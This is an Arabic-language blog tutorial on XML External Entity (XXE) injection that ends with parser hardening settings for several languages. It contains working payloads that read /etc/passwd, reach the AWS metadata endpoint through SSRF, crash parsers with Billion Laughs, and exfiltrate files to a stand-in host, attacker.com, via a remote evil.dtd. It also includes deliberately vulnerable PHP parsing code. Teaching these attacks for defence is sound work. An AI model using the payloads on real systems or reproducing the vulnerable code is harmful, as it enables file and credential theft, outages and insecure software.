خنقتونا خنقتونا
random

آخر الأخبار

random
random
جاري التحميل ...

الدليل العملي لثغرة XXE Injection: من قراءة الملفات إلى تنفيذ هجوم SSRF

XML External Entity (XXE) Injection.
XML External Entity (XXE) Injection.


الدليل العملي لثغرة XXE Injection: من قراءة الملفات إلى تنفيذ هجوم SSRF


الجزء 1: إيه هي ثغرة الـ XXE؟ وليه بنسميها "الصامتة"؟

تخيل إنك بتكلم سيرفر عن طريق ملفات XML. إنت بتبعتله طلب، وهو بيرد عليك. ثغرة الـ XXE بتحصل لما المهاجم يقدر "يغش" الـ XML parser (المحلل) اللي على السيرفر، ويخليه ينفذ أوامر مكنش المفروض ينفذها.

بنسميها "صامتة" لأن الهجوم كله بيتم في الكواليس. مفيش رسالة خطأ واضحة، مفيش شكل موقع بيتغير. المهاجم بيبعت طلب XML عادي، لكنه "ملغم"، والسيرفر بينفذ اللي فيه بحسن نية. ممكن يخليه:

  • يقرأ ملفات حساسة من السيرفر (زي ملفات الكونفجريشن أو كلمات السر).

  • يعمل Scan للشبكة الداخلية للسيرفر (وده هجوم اسمه SSRF).

  • يوقع السيرفر نفسه (DoS).


الجزء 2: قبل ما نخترق... إيه هو الـ XML أصلاً؟

قبل ما نبوظ الحاجة، لازم نفهم هي شغالة إزاي. الـ XML (اختصار لـ eXtensible Markup Language) هي لغة.. بسيطة جداً، شبه الـ HTML شوية، لكنها مش عشان تعرض الداتا، دي عشان توصفها وتنقلها.

يعني إيه؟ يعني الـ XML بيخلينا نبتكر "Tags" خاصة بينا عشان ننظم البيانات. تخيل إنك بتبعت بيانات موظف:

XML
<employee>
<name>Ahmed</name>
<job>Developer</job>
<id>105</id>
</employee>

شوف إزاي البيانات واضحة ومقروءة؟ عشان كده الـ XML بيُستخدم بكثافة في:

  • الـ Web Services ( زي SOAP و REST APIs القديمة).

  • ملفات الـ Configuration.

  • نقل البيانات بين أنظمة مختلفة تماماً.


الجزء 3: تشريح ملف الـ XML (الـ Elements والـ Attributes)

ملف الـ XML بيتكون من شوية حاجات أساسية:

  • Elements (عناصر): هي أي حاجة بين Tags. في مثالنا اللي فات، <employee> و <name> و

      <job> كلها Elements.

  • Root Element (العنصر الجذر): هو العنصر الأب اللي بيلم كل العناصر التانية جواه (زي <employee> في

     مثالنا).

  • Attributes (خصائص): دي معلومات إضافية بتتحط جوه الـ Tag نفسه.

مثال يوضح الفرق:

XML
<employee id="105">
<name>Ahmed</name> <job>Developer</job> </employee>

الجزء 4: الجزء الخطر.. الـ DTD والـ Entities

أغلب المطورين بيستخدموا الـ XML زي ما شوفنا فوق، لكن الـ XML فيه ميزة قديمة وقوية (وخطيرة) اسمها DTD (Document Type Definition).

الـ DTD ده عامل زي "كتالوج" أو "عقد" بيوصف إيه هي الـ Tags المسموحة في ملف الـ XML ده. ومن ضمن الحاجات اللي الـ DTD بيعرفها حاجة اسمها Entities .

الـ Entity ده عبارة عن "اختصار" أو "متغير". تخيل إنك بتكتب اسم شركتك "My Super Cool Company" 50 مرة في الملف. بدل ما تكتبها 50 مرة، ممكن تعرف Entity واحد:

XML
<!DOCTYPE user [
<!ENTITY companyName "My Super Cool Company">
]>
<user>
<name>Amr</name>
<company>&companyName;</company> </user>


لما الـ XML parser يشوف &companyName;، هيشيلها ويحط مكانها "My Super Cool Company". لحد هنا

 والدنيا جميلة.


الجزء 5: الفرق بين الـ Internal والـ External Entities

اللي شوفناه فوق ده اسمه Internal Entity (كيان داخلي) لأن قيمته ("My Super Cool Company") متعرفة جوه الـ DTD نفسه.

الخطر بيبدأ هنا: الـ DTDs بتسمحلك تجيب القيمة دي من ملف خارجي! وده اسمه External Entity (كيان خارجي).

بنستخدم الكلمة المفتاحية SYSTEM عشان نقول للـ parser "روح هات القيمة من الملف ده":

XML
<!DOCTYPE user [
<!ENTITY externalData SYSTEM "file:///c:/some/file.txt">
]>
<user>
<data>&externalData;</data>
</user>

شايف الكارثة؟ إنت كده أمرت الـ parser يروح يقرأ ملف file.txt من على السيرفر ويعرض محتواه مكان

  &externalData;.


الجزء 6: الـ "Hello, World!" بتاع الـ XXE (قراءة ملف /etc/passwd)

أشهر مثال للمبتدئين هو قراءة ملف /etc/passwd على سيرفرات لينكس (لأنه ملف موجود دايمًا وبياناته مش حساسة أوي لكنه

 بيثبت الثغرة).

تخيل إن فيه موقع بيسمحلك تبعتله XML عشان تشوف بيانات منتج:

الطلب الطبيعي:

XML
<productCheck>
<productId>123</productId>
</productCheck>

الطلب الملغم (Payload):

المهاجم هيحقن DTD ويعرف External Entity جديد اسمه xxe:

XML
<?xml version="1.0"?>
<!DOCTYPE productCheck [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<productCheck>
<productId>&xxe;</productId> </productCheck>

الجزء 7: سيناريو الهجوم (قراءة الملفات) وتحليل الـ Pseudocode

إيه اللي بيحصل في الكواليس؟

  1. المهاجم: بيبعت الطلب الملغم اللي فوق.

  2. السيرفر: بيستقبل الـ XML ويشغل الـ parser بتاعه (اللي للأسف متظبط إنه يقرأ الـ External Entities).

  3. الـ Parser:

    • بيلاقي DTD.

    • بيلاقي تعريف Entity اسمه xxe.

    • بيلاقي إن xxe ده نوعه SYSTEM وقيمته هي file:///etc/passwd.

    • الـ parser (بحسن نية) يروح فاتح ملف /etc/passwd ويقرأ كل اللي جواه.

    • بعدين الـ parser بيكمل شغله، ويلاقي Tag اسمها <productId> جواها &xxe;.

    • الـ parser يقول: "أنا عارف &xxe; دي!"، فيروح شايلها وحاطط مكانها محتويات ملف /etc/passwd.

  4. الرد (Response): السيرفر بيرجع رد طبيعي، زي "Product not found: [محتويات ملف passwd هنا]".

Pseudocode لسيرفر مصاب (مثال بـ PHP):

PHP
// السيرفر بيستقبل الـ XML كـ raw input

$xml_data = file_get_contents('php://input');

// !!! الخطر هنا !!!
// تفعيل قراءة الـ DTDs والـ Entities
libxml_disable_entity_loader(false);

// الـ Parser بيقرأ الـ XML الملغم
$dom = new DOMDocument();
$dom->loadXML($xml_data, LIBXML_NOENT | LIBXML_DTDLOAD);

// السيرفر بيحاول يستخدم الداتا (اللي بقت محتويات ملف)
$productId = $dom->getElementsByTagName('productId')->item(0)->nodeValue;

// المهاجم بيشوف الرد
echo "Checking for product: " . $productId;

الجزء 8: جدول تحليل الهجوم (طلب ⬅️ معالجة ⬅️ رد)

عشان نلخص اللي فات، ده جدول بيوضح الرحلة كاملة:

المرحلةاللي بيحصلمثال
1. طلب المهاجمالمهاجم بيبعت الـ Payload.<productCheck><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><productId>&xxe;</productId></productCheck>
2. معالجة السيرفر (الـ Parser)الـ Parser بيحلل الـ XML، بيلاقي الـ Entity، وبيروح يقرأ الملف المطلوب.الـ Parser بيفتح file:///etc/passwd وبيقرأ: root:x:0:0:root:/root:/bin/bash...
3. الـ XML بعد المعالجة (في ذاكرة السيرفر)الـ Parser بيعوض قيمة الـ Entity جوه الـ XML.<productCheck><productId>root:x:0:0:root:/root:/bin/bash...</productId></productCheck>
4. رد السيرفرالسيرفر بيبعت الرد للمهاجم، اللي بقى جواه البيانات المسروقة.Product not found: root:x:0:0:root:/root:/bin/bash...

الجزء 9: مستوى أعمق - استخدام XXE لعمل SSRF

قراءة الملفات دي مجرد بداية. ماذا لو... بدل ما ندي للـ SYSTEM مسار ملف، نخليه يفتح رابط (URL)؟

هنا الـ XXE بتتحول لثغرة تانية خطيرة هي Server-Side Request Forgery (SSRF). إنت بتجبر السيرفر (من مكانه الآمن جوه الشبكة الداخلية) إنه يبعت طلب (Request) لسيرفر تاني.

الخطورة: ممكن تخليه يكلم سيرفرات على الشبكة الداخلية (Internal Network) اللي مش المفروض حد يوصلها من بره.


الجزء 10: سيناريو هجوم الـ SSRF (Pseudocode و Payload)

تخيل إنك عاوز تعرف لو السيرفر ده شغال على Amazon AWS. سيرفرات AWS عندها IP داخلي ثابت

  169.254.169.254 عليه بيانات حساسة (metadata).

الـ Payload:

XML
<?xml version="1.0"?>
<!DOCTYPE productCheck [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<productCheck>
<productId>&ssrf;</productId>
</productCheck>

اللي بيحصل:

  1. الـ Parser بيلاقي الـ Entity.

  2. بيروح يبعت طلب GET للرابط http://169.254.169.254/latest/meta-data/.

  3. لو السيرفر ده على AWS، هيرجع بيانات (زي أسماء الـ folders).

  4. الـ Parser هياخد الرد ده ويحطه مكان &ssrf;.

  5. المهاجم هيشوف الرد، ويعرف إن السيرفر ده على AWS، وممكن يكمل هجومه ويحاول يسرق مفاتيح الـ API.


الجزء 11: هجوم  (Billion Laughs Attack)

الـ XXE مش بس لسرقة البيانات، ممكن نستخدمها لعمل Denial of Service (DoS). إزاي؟ عن طريق استغلال الـ Internal Entities بس.

الفكرة إننا بنعمل "Recursive Entity" أو "Entity بيكلم نفسه":1

XML
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]>
<data>&lol9;</data>

لما الـ Parser يشوف &lol9;، هيحاول يعوض قيمتها. lol9 بتستدعي lol8 عشر مرات. وكل lol8 بتستدعي lol7

 عشر مرات... وهكذا.

في النهاية، الـ Parser هيحاول يكتب كلمة "lol" مليار مرة في الذاكرة (RAM)، وده هيستهلك كل موارد السيرفر ويوقعه.


الجزء 12: المستوى المتقدم - الـ Out-of-Band (OOB) XXE

طيب، ماذا لو السيرفر مش بيرجع قيمة الـ Entity في الرد؟ يعني ماذا لو الـ productId مبيظهرش في الرد؟ ده بنسميه Blind XXE.

هنا المهاجم محتاج يكون أذكى. بدل ما يخلي السيرفر يعرضله الملف، هيخليه يبعتله الملف على سيرفر خارجي بيتحكم فيه المهاجم. ده اسمه Out-of-Band (OOB) Data Exfiltration.


الجزء 13: سيناريو هجوم الـ OOB (Pseudocode و Payload)

الفكرة معقدة شوية:

  1. المهاجم هيشغل سيرفر (زي attacker.com) يستقبل طلبات HTTP.

  2. هنستخدم نوع تاني من الـ Entities اسمه Parameter Entities (اللي بتبدأ بـ %). دي بتشتغل جوه الـ DTD

     نفسه.

  3. هنخلي الـ Payload يقرأ ملف /etc/passwd.

  4. وبعدين هنخلي الـ Payload يبعت الداتا دي كـ "باراميتر" في رابط للسيرفر بتاع المهاجم.

الـ Payload الأساسي:

XML
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>Some data</data>

ده لوحده مش كافي. ده بيطلب ملف evil.dtd من سيرفر المهاجم.

ملف evil.dtd (اللي على سيرفر المهاجم):

XML
<!ENTITY % exfil "
<!ENTITY &#x25; sendData SYSTEM 'http://attacker.com/log?data=%file;'>
">
%exfil;
%sendData;

تحليل اللي بيحصل:

  1. السيرفر بيقرأ الـ Payload.

  2. بيعرف Parameter Entity اسمه file وقيمته هي (محتويات /etc/passwd).

  3. بيعرف Parameter Entity اسمه dtd وبيروح يطلب ملف http://attacker.com/evil.dtd.

  4. سيرفر المهاجم بيرد بالملف evil.dtd.

  5. السيرفر المصاب بيقرأ evil.dtd:

    • بيعرف Parameter Entity جديد اسمه exfil.

    • جوه exfil، بيعرف Parameter Entity تالت اسمه sendData.

    • sendData ده قيمته هي رابط لسيرفر المهاجم، والـ "query parameter" بتاعه هو ?data=%file;.

  6. لما الـ parser ينفذ %sendData;، هو فعليًا بيطلب الرابط ده: http://attacker.com/log?data=[محتويات

     ملف /etc/passwd هنا]
    .

  7. المهاجم بيفتح ملف الـ Logs عنده، ويلاقي الداتا وصلته.


الجزء 14: إزاي أعرف لو أنا مصاب؟ (طرق الاختبار)

أبسط طريقة هي إنك تستخدم Payload بيعمل طلب SSRF لسيرفر إنت بتراقبه. زي خدمات (Burp Collaborator) أو (Interact.sh).

ابعت Payload زي ده لأي مدخل XML عندك:

XML
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "http://YOUR-UNIQUE-ID.interact.sh">
]>
<data>&xxe;</data>

لو لقيت طلب (DNS query) أو (HTTP request) جالك على السيرفر بتاعك، يبقى التطبيق ده مصاب بالـ XXE.


الجزء 15: الحماية ثم الحماية ثم الحماية (The Fix)

الخبر الكويس إن الحماية من الـ XXE سهلة جدًا، لأنك في 99% من الحالات مش محتاج الميزة دي أصلاً.

القاعدة الذهبية: "عطل الـ DTDs وتعطيل الـ External Entities".

إزاي تعمل ده بيعتمد على اللغة والمكتبة اللي بتستخدمها.

جدول الحماية (Pseudocode / Configuration):

اللغة / المكتبة (Pseudocode)الشرح
Java (JAXP)factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);بيمنع الـ DTDs تماماً (الأكثر أماناً).
PHP (libxml)libxml_disable_entity_loader(true);بيعطل الـ External Entities. (لازم تتأكد إنها true!).
Python (ElementTree)(آمنة افتراضيًا)مكتبة ElementTree القياسية مبتحللش الـ DTDs أصلاً.
Python (lxml)parser = etree.XMLParser(resolve_entities=False)لو بتستخدم lxml، لازم تقفل الـ resolve_entities.
.NET (XmlDocument)settings.DtdProcessing = DtdProcessing.Prohibit; (أو Ignore)بيمنع معالجة الـ DTDs.

الجزء 16: خلاصة الخلاصة (Key Takeaways)

  1. الـ XML خطر لو ماتاخدش بالك: الـ Parsers القديمة متظبطة على "تمكين كل حاجة" افتراضيًا.

  2. إيه هي الـ XXE؟ هي إنك بتجبر الـ XML parser يقرأ ملفات محلية أو يبعت طلبات خارجية.

  3. أشكالها إيه؟ قراءة ملفات (file://)، هجوم SSRF (http://)، هجوم DoS (Billion Laughs).

  4. الحل إيه؟ عطل (Disable) الـ DTDs والـ External Entities دايمًا، إلا لو إنت عارف 100% إنت بتعمل إيه.

أتمنى المقال ده يكون مرجع قوي ليك. خليك دايمًا فاكر: "لا تثق أبدًا بمدخلات المستخدم" (Never trust user input)، حتى لو كانت ملف XML شكله برئ.

عن الكاتب

Mahmoud Salman

التعليقات


اتصل بنا

إذا أعجبك محتوى مدونتنا نتمنى البقاء على تواصل دائم ، فقط قم بإدخال بريدك الإلكتروني للإشتراك في بريد المدونة السريع ليصلك جديد المدونة أولاً بأول ، كما يمكنك إرسال رساله بالضغط على الزر المجاور ...

تابع المدونة من هنا

مواقيت الصلاة من هنا

إجمالي مرات مشاهدة الصفحة

جميع الحقوق محفوظة

خنقتونا